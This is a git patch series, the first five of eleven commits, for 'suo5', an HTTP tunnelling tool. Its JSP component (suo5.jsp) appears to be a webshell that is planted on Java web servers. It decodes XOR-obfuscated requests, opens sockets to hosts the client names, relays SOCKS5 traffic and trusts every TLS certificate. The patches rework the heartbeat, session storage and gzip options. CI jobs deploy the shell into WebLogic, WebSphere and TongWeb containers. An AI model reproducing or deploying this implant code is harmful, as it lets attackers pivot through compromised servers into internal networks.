From 4bfda81001451324a4ac3fd25f4857da8860222f Mon Sep 17 00:00:00 2001 From: zema1 Date: Tue, 16 May 2023 20:43:45 +0800 Subject: [PATCH 01/11] feat: better heatbeat --- ctrl/chunked.go | 8 ++---- ctrl/handler.go | 44 ++++------------------------ ctrl/heartbeat.go | 73 +++++++++++++++++++++++++++++++++++++++++++++++ 3 files changed, 81 insertions(+), 44 deletions(-) create mode 100644 ctrl/heartbeat.go diff --git a/ctrl/chunked.go b/ctrl/chunked.go index d1c698b..fcf7ac4 100644 --- a/ctrl/chunked.go +++ b/ctrl/chunked.go @@ -11,10 +11,6 @@ import ( "sync" ) -type RawWriter interface { - WriteRaw(p []byte) (n int, err error) -} - type fullChunkedReadWriter struct { id string reqBody io.WriteCloser @@ -27,7 +23,7 @@ type fullChunkedReadWriter struct { } // NewFullChunkedReadWriter 全双工读写流 -func NewFullChunkedReadWriter(id string, reqBody io.WriteCloser, serverResp io.ReadCloser) io.ReadWriter { +func NewFullChunkedReadWriter(id string, reqBody io.WriteCloser, serverResp io.ReadCloser) io.ReadWriteCloser { rw := &fullChunkedReadWriter{ id: id, reqBody: reqBody, @@ -107,7 +103,7 @@ type halfChunkedReadWriter struct { // NewHalfChunkedReadWriter 半双工读写流, 用发送请求的方式模拟写 func NewHalfChunkedReadWriter(ctx context.Context, id string, client *http.Client, method, target string, - serverResp io.ReadCloser, baseHeader http.Header, redirect string) io.ReadWriter { + serverResp io.ReadCloser, baseHeader http.Header, redirect string) io.ReadWriteCloser { return &halfChunkedReadWriter{ ctx: ctx, id: id, diff --git a/ctrl/handler.go b/ctrl/handler.go index b845b55..df9d71a 100644 --- a/ctrl/handler.go +++ b/ctrl/handler.go @@ -15,7 +15,6 @@ import ( "net/http" "strconv" "sync" - "time" ) type ConnectionType string @@ -128,23 +127,24 @@ func (m *socks5Handler) handleConnect(conn net.Conn, sockReq *gosocks5.Request) } log.Infof("successfully connected to %s", sockReq.Addr) - var streamRW io.ReadWriter + var streamRW io.ReadWriteCloser if m.config.Mode == FullDuplex { streamRW = NewFullChunkedReadWriter(id, chWR, resp.Body) } else { streamRW = NewHalfChunkedReadWriter(m.ctx, id, m.normalClient, m.config.Method, m.config.Target, resp.Body, baseHeader, m.config.RedirectURL) } - defer streamRW.(io.Closer).Close() - ctx, cancel := context.WithCancel(m.ctx) - defer cancel() + if !m.config.DisableHeartbeat { + streamRW = NewHeartbeatRW(streamRW.(RawReadWriteCloser), id, m.config.RedirectURL) + } + + defer streamRW.Close() var wg sync.WaitGroup wg.Add(1) go func() { defer wg.Done() - defer cancel() if err := m.pipe(conn, streamRW); err != nil { log.Debugf("local conn closed, %s", sockReq.Addr) _ = streamRW.(io.Closer).Close() @@ -153,23 +153,12 @@ func (m *socks5Handler) handleConnect(conn net.Conn, sockReq *gosocks5.Request) wg.Add(1) go func() { defer wg.Done() - defer cancel() if err := m.pipe(streamRW, conn); err != nil { log.Debugf("remote readwriter closed, %s", sockReq.Addr) _ = conn.Close() } }() - if !m.config.DisableHeartbeat { - wg.Add(1) - go func() { - defer wg.Done() - defer cancel() - m.heartbeat(ctx, id, m.config.RedirectURL, streamRW.(RawWriter)) - log.Debugf("heartbeat stopped, %s", sockReq.Addr) - }() - } - wg.Wait() log.Infof("connection closed, %s", sockReq.Addr) } @@ -189,27 +178,6 @@ func (m *socks5Handler) pipe(r io.Reader, w io.Writer) error { } } -// write data to the remote server to avoid server's ReadTimeout -// todo: lb still not work -func (m *socks5Handler) heartbeat(ctx context.Context, id, redirect string, w RawWriter) { - t := time.NewTicker(time.Second * 5) - defer t.Stop() - for { - select { - case <-t.C: - body := buildBody(newHeartbeat(id, redirect)) - log.Debugf("send heartbeat, length: %d", len(body)) - _, err := w.WriteRaw(body) - if err != nil { - log.Errorf("send heartbeat error %s", err) - return - } - case <-ctx.Done(): - return - } - } -} - func buildBody(m map[string][]byte) []byte { return netrans.NewDataFrame(marshal(m)).MarshalBinary() } diff --git a/ctrl/heartbeat.go b/ctrl/heartbeat.go new file mode 100644 index 0000000..caf04a7 --- /dev/null +++ b/ctrl/heartbeat.go @@ -0,0 +1,73 @@ +package ctrl + +import ( + "context" + log "github.com/kataras/golog" + "io" + "sync/atomic" + "time" +) + +type RawReadWriteCloser interface { + io.ReadWriteCloser + WriteRaw(p []byte) (n int, err error) +} + +func NewHeartbeatRW(rw RawReadWriteCloser, id, redirect string) io.ReadWriteCloser { + ctx, cancel := context.WithCancel(context.Background()) + h := &heartbeatRW{ + rw: rw, + id: id, + redirect: redirect, + cancel: cancel, + } + go h.heartbeat(ctx) + return h +} + +type heartbeatRW struct { + id string + redirect string + rw RawReadWriteCloser + lastHaveWrite atomic.Bool + cancel func() +} + +func (h *heartbeatRW) Read(p []byte) (n int, err error) { + return h.rw.Read(p) +} + +func (h *heartbeatRW) Write(p []byte) (n int, err error) { + h.lastHaveWrite.Store(true) + return h.rw.Write(p) +} + +func (h *heartbeatRW) Close() error { + h.cancel() + return h.rw.Close() +} + +// write data to the remote server to avoid server's ReadTimeout +func (h *heartbeatRW) heartbeat(ctx context.Context) { + t := time.NewTicker(time.Second * 5) + defer t.Stop() + for { + select { + case <-t.C: + if h.lastHaveWrite.Load() { + h.lastHaveWrite.Store(false) + continue + } + body := buildBody(newHeartbeat(h.id, h.redirect)) + log.Debugf("send heartbeat, length: %d", len(body)) + _, err := h.rw.WriteRaw(body) + if err != nil { + log.Errorf("send heartbeat error %s", err) + return + } + h.lastHaveWrite.Store(false) + case <-ctx.Done(): + return + } + } +} From b408fe500a18ae289db3f428c29045b84a324226 Mon Sep 17 00:00:00 2001 From: zema1 Date: Tue, 16 May 2023 20:53:59 +0800 Subject: [PATCH 02/11] feat: remove dep of session related to #22 --- .github/workflows/test.yml | 7 ++-- assets/suo5.jsp | 82 ++++++++++++++++++++++---------------- ctrl/ctrl.go | 10 ++--- go.sum | 6 --- 4 files changed, 55 insertions(+), 50 deletions(-) diff --git a/.github/workflows/test.yml b/.github/workflows/test.yml index df6bfac..c0715b4 100644 --- a/.github/workflows/test.yml +++ b/.github/workflows/test.yml @@ -144,10 +144,9 @@ jobs: - container-registry.oracle.com/middleware/weblogic:14.1.1.0-11-ol8 deploy: - /u01/oracle/user_projects/domains/base_domain/autodeploy/ - # fixme: can't use full mode, why? - # include: - # - image: vulhub/weblogic:10.3.6.0-201 - # deploy: /root/Oracle/Middleware/user_projects/domains/base_domain/autodeploy/ + include: + - image: vulhub/weblogic:10.3.6.0-2017 + deploy: /root/Oracle/Middleware/user_projects/domains/base_domain/autodeploy/ env: SUO5_URL: http://127.0.0.1:7001/assets/suo5.jsp steps: diff --git a/assets/suo5.jsp b/assets/suo5.jsp index 2829b91..a40b685 100644 --- a/assets/suo5.jsp +++ b/assets/suo5.jsp @@ -1,7 +1,8 @@ <%@ page import="java.nio.ByteBuffer" %><%@ page import="java.io.*" %><%@ page import="java.net.*" %><%@ page import="java.security.cert.X509Certificate" %><%@ page import="java.security.cert.CertificateException" %><%@ page import="javax.net.ssl.*" %><%@ page import="java.util.*" %><%! public static class Suo5 implements Runnable, HostnameVerifier, X509TrustManager { - static HashMap addrs = collectAddr(); + public static HashMap addrs = collectAddr(); + public static HashMap ctx = new HashMap(); InputStream gInStream; OutputStream gOutStream; @@ -44,26 +45,20 @@ } } - public void readInputStreamWithTimeout(InputStream is, byte[] b, int timeoutMillis) throws IOException, InterruptedException { + public void readFull(InputStream is, byte[] b) throws IOException, InterruptedException { int bufferOffset = 0; - long maxTimeMillis = new Date().getTime() + timeoutMillis; - while (new Date().getTime() < maxTimeMillis && bufferOffset < b.length) { + while (bufferOffset < b.length) { int readLength = b.length - bufferOffset; - if (is.available() < readLength) { - readLength = is.available(); - } - // can alternatively use bufferedReader, guarded by isReady(): int readResult = is.read(b, bufferOffset, readLength); if (readResult == -1) break; bufferOffset += readResult; - Thread.sleep(200); } } public void tryFullDuplex(HttpServletRequest request, HttpServletResponse response) throws IOException, InterruptedException { InputStream in = request.getInputStream(); byte[] data = new byte[32]; - readInputStreamWithTimeout(in, data, 2000); + readFull(in, data); OutputStream out = response.getOutputStream(); out.write(data); out.flush(); @@ -112,6 +107,19 @@ ((bytes[3] & 0xFF) << 0); } + // 并发安全 + synchronized void put(String k, Object v) { + ctx.put(k, v); + } + + synchronized Object get(String k) { + return ctx.get(k); + } + + synchronized Object remove(String k) { + return ctx.remove(k); + } + byte[] copyOfRange(byte[] original, int from, int to) { int newLength = to - from; if (newLength < 0) { @@ -154,9 +162,8 @@ } private HashMap unmarshal(InputStream in) throws Exception { - DataInputStream reader = new DataInputStream(in); byte[] header = new byte[4 + 1]; // size and datatype - reader.readFully(header); + readFull(in, header); // read full ByteBuffer bb = ByteBuffer.wrap(header); int len = bb.getInt(); @@ -165,7 +172,7 @@ throw new IOException("invalid len"); } byte[] bs = new byte[len]; - reader.readFully(bs); + readFull(in, bs); for (int i = 0; i < bs.length; i++) { bs[i] = (byte) (bs[i] ^ x); } @@ -207,16 +214,15 @@ private void processDataBio(HttpServletRequest request, HttpServletResponse resp) throws Exception { final InputStream reqInputStream = request.getInputStream(); - final BufferedInputStream reqReader = new BufferedInputStream(reqInputStream); HashMap dataMap; - dataMap = unmarshal(reqReader); + dataMap = unmarshal(reqInputStream); byte[] action = (byte[]) dataMap.get("ac"); if (action.length != 1 || action[0] != 0x00) { resp.setStatus(403); return; } - resp.setBufferSize(8 * 1024); + resp.setBufferSize(512); final OutputStream respOutStream = resp.getOutputStream(); // 0x00 create socket @@ -236,6 +242,7 @@ respOutStream.write(marshal(newStatus((byte) 0x00))); respOutStream.flush(); + resp.flushBuffer(); final OutputStream scOutStream = sc.getOutputStream(); final InputStream scInStream = sc.getInputStream(); @@ -245,7 +252,7 @@ Suo5 p = new Suo5(scInStream, respOutStream); t = new Thread(p); t.start(); - readReq(reqReader, scOutStream); + readReq(reqInputStream, scOutStream); } catch (Exception e) { // System.out.printf("pipe error, %s\n", e); } finally { @@ -274,7 +281,7 @@ } } - private void readReq(BufferedInputStream bufInputStream, OutputStream socketOutStream) throws Exception { + private void readReq(InputStream bufInputStream, OutputStream socketOutStream) throws Exception { while (true) { HashMap dataMap; dataMap = unmarshal(bufInputStream); @@ -303,7 +310,6 @@ private void processDataUnary(HttpServletRequest request, HttpServletResponse resp) throws Exception { InputStream is = request.getInputStream(); - ServletContext ctx = request.getSession().getServletContext(); BufferedInputStream reader = new BufferedInputStream(is); HashMap dataMap; dataMap = unmarshal(reader); @@ -337,24 +343,26 @@ return; } - resp.setBufferSize(8 * 1024); + resp.setBufferSize(512); OutputStream respOutStream = resp.getOutputStream(); if (action[0] == 0x02) { - OutputStream scOutStream = (OutputStream) ctx.getAttribute(clientId); - if (scOutStream != null) { - scOutStream.close(); - } + Object o = this.get(clientId); + if (o == null) return; + OutputStream scOutStream = (OutputStream) o; + scOutStream.close(); return; } else if (action[0] == 0x01) { - OutputStream scOutStream = (OutputStream) ctx.getAttribute(clientId); - if (scOutStream == null) { + Object o = this.get(clientId); + if (o == null) { respOutStream.write(marshal(newDel())); respOutStream.flush(); respOutStream.close(); return; } + OutputStream scOutStream = (OutputStream) o; byte[] data = (byte[]) dataMap.get("dt"); if (data.length != 0) { +// System.out.printf("write datat to scOut, length: %d\n", data.length); scOutStream.write(data); scOutStream.flush(); } @@ -385,11 +393,15 @@ sc = new Socket(); sc.connect(new InetSocketAddress(host, port), 5000); readFrom = sc.getInputStream(); - ctx.setAttribute(clientId, sc.getOutputStream()); + this.put(clientId, sc.getOutputStream()); respOutStream.write(marshal(newStatus((byte) 0x00))); respOutStream.flush(); + resp.flushBuffer(); } catch (Exception e) { - ctx.removeAttribute(clientId); +// System.out.printf("connect error %s\n", e); +// e.printStackTrace(); + + this.remove(clientId); respOutStream.write(marshal(newStatus((byte) 0x01))); respOutStream.flush(); respOutStream.close(); @@ -400,8 +412,7 @@ try { readSocket(readFrom, respOutStream, !needRedirect); } catch (Exception e) { -// System.out.printf("pipe error, %s\n", e); -// e.printStackTrace(); + e.printStackTrace(); } finally { if (sc != null) { sc.close(); @@ -410,7 +421,7 @@ conn.disconnect(); } respOutStream.close(); - ctx.removeAttribute(clientId); + this.remove(clientId); } } @@ -475,9 +486,9 @@ // ref: https://github.com/L-codes/Neo-reGeorg/blob/master/templates/NeoreGeorg.java if (HttpsURLConnection.class.isInstance(conn)) { ((HttpsURLConnection) conn).setHostnameVerifier(this); - SSLContext ctx = SSLContext.getInstance("SSL"); - ctx.init(null, new TrustManager[]{this}, null); - ((HttpsURLConnection) conn).setSSLSocketFactory(ctx.getSocketFactory()); + SSLContext sslCtx = SSLContext.getInstance("SSL"); + sslCtx.init(null, new TrustManager[]{this}, null); + ((HttpsURLConnection) conn).setSSLSocketFactory(sslCtx.getSocketFactory()); } Enumeration headers = request.getHeaderNames(); @@ -513,6 +524,7 @@ o.process(request, response); try { out.clear(); - } catch (Exception e) {} + } catch (Exception e) { + } out = pageContext.pushBody(); %> \ No newline at end of file diff --git a/ctrl/ctrl.go b/ctrl/ctrl.go index ad36d22..a935d92 100644 --- a/ctrl/ctrl.go +++ b/ctrl/ctrl.go @@ -84,7 +84,7 @@ func Run(ctx context.Context, config *Suo5Config) error { log.Infof("method: %s", config.Method) log.Infof("testing connection with remote server") - err = checkMemshell(normalClient, config.Method, config.Target, config.Header.Clone()) + err = checkBasicConnect(normalClient, config.Method, config.Target, config.Header.Clone()) if err != nil { return err } @@ -173,7 +173,7 @@ func Run(ctx context.Context, config *Suo5Config) error { return nil } -func checkMemshell(client *http.Client, method string, target string, baseHeader http.Header) error { +func checkBasicConnect(client *http.Client, method string, target string, baseHeader http.Header) error { data := RandString(64) req, err := http.NewRequest(method, target, strings.NewReader(data)) if err != nil { @@ -206,19 +206,19 @@ func checkMemshell(client *http.Client, method string, target string, baseHeader func checkFullDuplex(method string, target string, baseHeader http.Header) bool { // 这里的 client 需要定义 timeout,不要用外面没有 timeout 的 rawCient rawClient := rawhttp.NewClient(&rawhttp.Options{ - Timeout: 3 * time.Second, + Timeout: 5 * time.Second, FollowRedirects: false, MaxRedirects: 0, AutomaticHostHeader: true, AutomaticContentLength: true, ForceReadAllBody: false, }) - data := RandString(64) + data := RandString(32) ch := make(chan []byte, 1) ch <- []byte(data) go func() { // timeout - time.Sleep(time.Second * 5) + time.Sleep(time.Second * 3) close(ch) }() req, err := http.NewRequest(method, target, netrans.NewChannelReader(ch)) diff --git a/go.sum b/go.sum index 064c37a..ff095c7 100644 --- a/go.sum +++ b/go.sum @@ -57,21 +57,15 @@ github.com/zema1/rawhttp v0.0.0-20221102031338-134c5669760c h1:vSrYC77zzwoHrtOyw github.com/zema1/rawhttp v0.0.0-20221102031338-134c5669760c/go.mod h1:4Jij1woZQptA1rqj+VhIokbXKmek4AJw7ze4GIru8mY= golang.org/x/net v0.0.0-20210521195947-fe42d452be8f/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= golang.org/x/net v0.0.0-20211216030914-fe4d6282115f/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= -golang.org/x/net v0.8.0 h1:Zrh2ngAOFYneWTAIAPethzeaQLuHwhuBkuV6ZiRnUaQ= -golang.org/x/net v0.8.0/go.mod h1:QVkue5JL9kW//ek3r6jTKnTFis1tRmNAW2P1shuFdJc= golang.org/x/net v0.9.0 h1:aWJ/m6xSmxWBx+V0XRHTlrYrPG56jKsLdTFmsSsCzOM= golang.org/x/net v0.9.0/go.mod h1:d48xBJpPfHeWQsugry2m+kC02ZBRGRgulfHnEXEuWns= golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.6.0 h1:MVltZSvRTcU2ljQOhs94SXPftV6DCNnZViHeQps87pQ= -golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.7.0 h1:3jlCCIQZPdOYu1h8BkNvLz8Kgwtae2cagcG/VamtZRU= golang.org/x/sys v0.7.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ= -golang.org/x/text v0.8.0 h1:57P1ETyNKtuIjB4SRd15iJxuhj8Gc416Y78H3qgMh68= -golang.org/x/text v0.8.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8= golang.org/x/text v0.9.0 h1:2sjJmO8cDvYveuX97RDLsxlyUxLl+GHoLxBiRdHllBE= golang.org/x/text v0.9.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8= golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= From ca1d3d8aacd201d1d2bb96318abd7737757d8dbd Mon Sep 17 00:00:00 2001 From: zema1 Date: Tue, 16 May 2023 21:14:40 +0800 Subject: [PATCH 03/11] feat: add websphere tests --- .github/workflows/test.yml | 37 +++++++++++++++++++++++++++++++++++-- 1 file changed, 35 insertions(+), 2 deletions(-) diff --git a/.github/workflows/test.yml b/.github/workflows/test.yml index c0715b4..8eeff71 100644 --- a/.github/workflows/test.yml +++ b/.github/workflows/test.yml @@ -1,7 +1,6 @@ name: Run go tests on: push: - pull_request: permissions: contents: read jobs: @@ -126,7 +125,41 @@ jobs: ./suo5 -debug -t ${{ env.SUO5_URL }} -T https://www.bing.com -mode full ./suo5 -debug -t ${{ env.SUO5_URL }} -T https://www.bing.com -mode half - + websphere-test: + name: WebSphere + needs: build-binary + runs-on: ubuntu-latest + strategy: + fail-fast: false + matrix: + image: + - websphere-liberty:23.0.0.3-full-java8-ibmjava + - websphere-liberty:23.0.0.4-full-java11-openj9 + - websphere-liberty:22.0.0.9-full-java11-openj9 + - websphere-liberty:22.0.0.12-full-java17-openj9 + deploy: + - /config/dropins + env: + SUO5_URL: http://127.0.0.1:9080/assets/suo5.jsp + steps: + - uses: actions/checkout@v3 + - uses: ./.github/actions + with: + jar: true + - run: | + set -ex + docker run -it --rm -d -p9080:9080 --name webshpere-test \ + -v ${{ github.workspace }}/assets:${{ matrix.deploy }} \ + ${{ matrix.image }} + docker ps -a + bash ./.github/workflows/ready.sh http://127.0.0.1:9080 60 + sleep 10 + curl -v ${{ env.SUO5_URL }} + chmod +x ./suo5 + ./suo5 -debug -t ${{ env.SUO5_URL }} -T https://www.bing.com + ./suo5 -debug -t ${{ env.SUO5_URL }} -T https://www.bing.com -mode full + ./suo5 -debug -t ${{ env.SUO5_URL }} -T https://www.bing.com -mode half + weblogic-test: name: Weblogic From 5b42e97a2a5200e0ef126fc1b6133b4992b9782a Mon Sep 17 00:00:00 2001 From: zema1 Date: Tue, 16 May 2023 22:39:32 +0800 Subject: [PATCH 04/11] feat: add tongweb tests --- .github/workflows/test.yml | 33 ++++++++++++++++++++++++++++++++- ctrl/config.go | 1 + ctrl/ctrl.go | 3 +++ ctrl/handler.go | 1 - main.go | 8 ++++++++ 5 files changed, 44 insertions(+), 2 deletions(-) diff --git a/.github/workflows/test.yml b/.github/workflows/test.yml index 8eeff71..9faa338 100644 --- a/.github/workflows/test.yml +++ b/.github/workflows/test.yml @@ -159,7 +159,38 @@ jobs: ./suo5 -debug -t ${{ env.SUO5_URL }} -T https://www.bing.com ./suo5 -debug -t ${{ env.SUO5_URL }} -T https://www.bing.com -mode full ./suo5 -debug -t ${{ env.SUO5_URL }} -T https://www.bing.com -mode half - + + tongweb-test: + name: TongWeb + needs: build-binary + runs-on: ubuntu-latest + strategy: + fail-fast: false + matrix: + include: + - image: boyingking/tongweb-auto + deploy: /home/tw6/tongweb6/applications/console/assets + env: + SUO5_URL: http://127.0.0.1:9060/console/assets/suo5.jsp + steps: + - uses: actions/checkout@v3 + - uses: ./.github/actions + with: + jar: true + - run: | + set -ex + docker run -it --rm -d -p9060:9060 --name tongweb-test \ + -v ${{ github.workspace }}/assets:${{ matrix.deploy }} \ + ${{ matrix.image }} + docker ps -a + bash ./.github/workflows/ready.sh http://127.0.0.1:9060 30 + sleep 10 + curl -v ${{ env.SUO5_URL }} + chmod +x ./suo5 + ./suo5 -debug -t ${{ env.SUO5_URL }} -T https://www.bing.com -no-gzip + ./suo5 -debug -t ${{ env.SUO5_URL }} -T https://www.bing.com -mode full -no-gzip + ./suo5 -debug -t ${{ env.SUO5_URL }} -T https://www.bing.com -mode half -no-gzip + weblogic-test: name: Weblogic diff --git a/ctrl/config.go b/ctrl/config.go index 044f715..5734cfd 100644 --- a/ctrl/config.go +++ b/ctrl/config.go @@ -22,6 +22,7 @@ type Suo5Config struct { RedirectURL string `json:"redirect_url"` RawHeader []string `json:"raw_header"` DisableHeartbeat bool `json:"disable_heartbeat"` + DisableGzip bool `json:"disable-gzip"` Header http.Header `json:"-"` TestExit string `json:"-"` diff --git a/ctrl/ctrl.go b/ctrl/ctrl.go index a935d92..962bfe1 100644 --- a/ctrl/ctrl.go +++ b/ctrl/ctrl.go @@ -36,6 +36,9 @@ func Run(ctx context.Context, config *Suo5Config) error { if err != nil { return err } + if config.DisableGzip { + config.Header.Set("Accept-Encoding", "identity") + } tr := &http.Transport{ TLSClientConfig: &tls.Config{ diff --git a/ctrl/handler.go b/ctrl/handler.go index df9d71a..47be118 100644 --- a/ctrl/handler.go +++ b/ctrl/handler.go @@ -86,7 +86,6 @@ func (m *socks5Handler) handleConnect(conn net.Conn, sockReq *gosocks5.Request) req, _ = http.NewRequestWithContext(m.ctx, m.config.Method, m.config.Target, bytes.NewReader(dialData)) baseHeader.Set("Content-Type", ContentTypeHalf) req.Header = baseHeader - req.Header.Set("Accept-Encoding", "identity") resp, err = m.noTimeoutClient.Do(req) } if err != nil { diff --git a/main.go b/main.go index db91955..10d4f91 100644 --- a/main.go +++ b/main.go @@ -100,6 +100,12 @@ func main() { Usage: "disable heartbeat to the remote server which will send data every 5s", Value: defaultConfig.DisableHeartbeat, }, + &cli.BoolFlag{ + Name: "no-gzip", + Aliases: []string{"ng"}, + Usage: "disable gzip compression, which will improve compatibility with some old servers", + Value: defaultConfig.DisableHeartbeat, + }, &cli.StringFlag{ Name: "test-exit", Aliases: []string{"T"}, @@ -136,6 +142,7 @@ func Action(c *cli.Context) error { redirect := c.String("redirect") header := c.StringSlice("header") noHeartbeat := c.Bool("no-heartbeat") + noGzip := c.Bool("no-gzip") testExit := c.String("test-exit") var username, password string @@ -175,6 +182,7 @@ func Action(c *cli.Context) error { RedirectURL: redirect, RawHeader: header, DisableHeartbeat: noHeartbeat, + DisableGzip: noGzip, TestExit: testExit, } ctx, cancel := signalCtx() From 3db54cefd19028c7fc591bda38b1ff478644ba38 Mon Sep 17 00:00:00 2001 From: zema1 Date: Wed, 17 May 2023 14:01:53 +0800 Subject: [PATCH 05/11] feat: add no-gzip support --- assets/suo5.jsp | 8 ++------ ctrl/config.go | 2 +- ctrl/ctrl.go | 1 + gui/app.go | 23 ++++++++++++++--------- gui/frontend/src/Home.vue | 19 +++++++++++++------ gui/frontend/wailsjs/go/main/App.d.ts | 8 +++++--- gui/frontend/wailsjs/go/models.ts | 2 ++ gui/go.mod | 2 +- gui/go.sum | 4 ++-- 9 files changed, 41 insertions(+), 28 deletions(-) diff --git a/assets/suo5.jsp b/assets/suo5.jsp index a40b685..38d3013 100644 --- a/assets/suo5.jsp +++ b/assets/suo5.jsp @@ -107,7 +107,6 @@ ((bytes[3] & 0xFF) << 0); } - // 并发安全 synchronized void put(String k, Object v) { ctx.put(k, v); } @@ -266,7 +265,6 @@ private void readSocket(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws IOException { byte[] readBuf = new byte[1024 * 8]; - while (true) { int n = inputStream.read(readBuf); if (n <= 0) { @@ -362,7 +360,6 @@ OutputStream scOutStream = (OutputStream) o; byte[] data = (byte[]) dataMap.get("dt"); if (data.length != 0) { -// System.out.printf("write datat to scOut, length: %d\n", data.length); scOutStream.write(data); scOutStream.flush(); } @@ -400,7 +397,6 @@ } catch (Exception e) { // System.out.printf("connect error %s\n", e); // e.printStackTrace(); - this.remove(clientId); respOutStream.write(marshal(newStatus((byte) 0x01))); respOutStream.flush(); @@ -408,11 +404,11 @@ return; } } - try { readSocket(readFrom, respOutStream, !needRedirect); } catch (Exception e) { - e.printStackTrace(); +// System.out.println("socket error " + e.toString()); +// e.printStackTrace(); } finally { if (sc != null) { sc.close(); diff --git a/ctrl/config.go b/ctrl/config.go index 5734cfd..e42669f 100644 --- a/ctrl/config.go +++ b/ctrl/config.go @@ -22,7 +22,7 @@ type Suo5Config struct { RedirectURL string `json:"redirect_url"` RawHeader []string `json:"raw_header"` DisableHeartbeat bool `json:"disable_heartbeat"` - DisableGzip bool `json:"disable-gzip"` + DisableGzip bool `json:"disable_gzip"` Header http.Header `json:"-"` TestExit string `json:"-"` diff --git a/ctrl/ctrl.go b/ctrl/ctrl.go index 962bfe1..60c9e9c 100644 --- a/ctrl/ctrl.go +++ b/ctrl/ctrl.go @@ -37,6 +37,7 @@ func Run(ctx context.Context, config *Suo5Config) error { return err } if config.DisableGzip { + log.Infof("disable gzip") config.Header.Set("Accept-Encoding", "identity") } diff --git a/gui/app.go b/gui/app.go index 0c1eea0..ed4dc63 100644 --- a/gui/app.go +++ b/gui/app.go @@ -4,10 +4,11 @@ import ( "context" "fmt" "github.com/shirou/gopsutil/v3/process" - "github.com/wailsapp/wails/v2/pkg/runtime" + wailsRuntime "github.com/wailsapp/wails/v2/pkg/runtime" "github.com/zema1/suo5/ctrl" _ "net/http/pprof" "os" + "runtime" "sync/atomic" "time" ) @@ -38,7 +39,7 @@ func (a *App) startup(ctx context.Context) { for { select { case <-ticker.C: - runtime.EventsEmit(a.ctx, "status", a.GetStatus()) + wailsRuntime.EventsEmit(a.ctx, "status", a.GetStatus()) case <-ctx.Done(): return } @@ -55,7 +56,7 @@ func (a *App) RunSuo5WithConfig(config *ctrl.Suo5Config) { cliCtx, cancel := context.WithCancel(a.ctx) a.cancelSuo5 = cancel config.OnRemoteConnected = func(e *ctrl.ConnectedEvent) { - runtime.EventsEmit(a.ctx, "connected", e) + wailsRuntime.EventsEmit(a.ctx, "connected", e) } config.OnNewClientConnection = func(event *ctrl.ClientConnectionEvent) { atomic.AddInt32(&a.connCount, 1) @@ -69,7 +70,7 @@ func (a *App) RunSuo5WithConfig(config *ctrl.Suo5Config) { defer cancel() err := ctrl.Run(cliCtx, config) if err != nil { - runtime.EventsEmit(a.ctx, "error", err.Error()) + wailsRuntime.EventsEmit(a.ctx, "error", err.Error()) } }() } @@ -90,11 +91,15 @@ func (a *App) GetStatus() *Status { cpuPercent, _ := newProcess.CPUPercent() status.CPUPercent = fmt.Sprintf("%.2f%%", cpuPercent) - info, err := newProcess.MemoryInfo() - if err != nil { - return status + if runtime.GOOS != "darwin" { + info, err := newProcess.MemoryInfo() + if err != nil { + return status + } + status.MemoryUsage = fmt.Sprintf("%.2fMB", float64(info.VMS)/1024/1024) + } else { + status.MemoryUsage = "unsupported" } - status.MemoryUsage = fmt.Sprintf("%.2fMB", float64(info.VMS)/1024/1024) return status } @@ -115,6 +120,6 @@ type GuiLogger struct { } func (g *GuiLogger) Write(p []byte) (n int, err error) { - runtime.EventsEmit(g.ctx, "log", string(p)) + wailsRuntime.EventsEmit(g.ctx, "log", string(p)) return len(p), nil } diff --git a/gui/frontend/src/Home.vue b/gui/frontend/src/Home.vue index 009976c..0d70aba 100644 --- a/gui/frontend/src/Home.vue +++ b/gui/frontend/src/Home.vue @@ -76,7 +76,7 @@ 连接数: {{ status.connection_count }} CPU: {{ status.cpu_percent }} 内存: {{ status.memory_usage }} - 版本: 0.5.0 + 版本: 0.0.0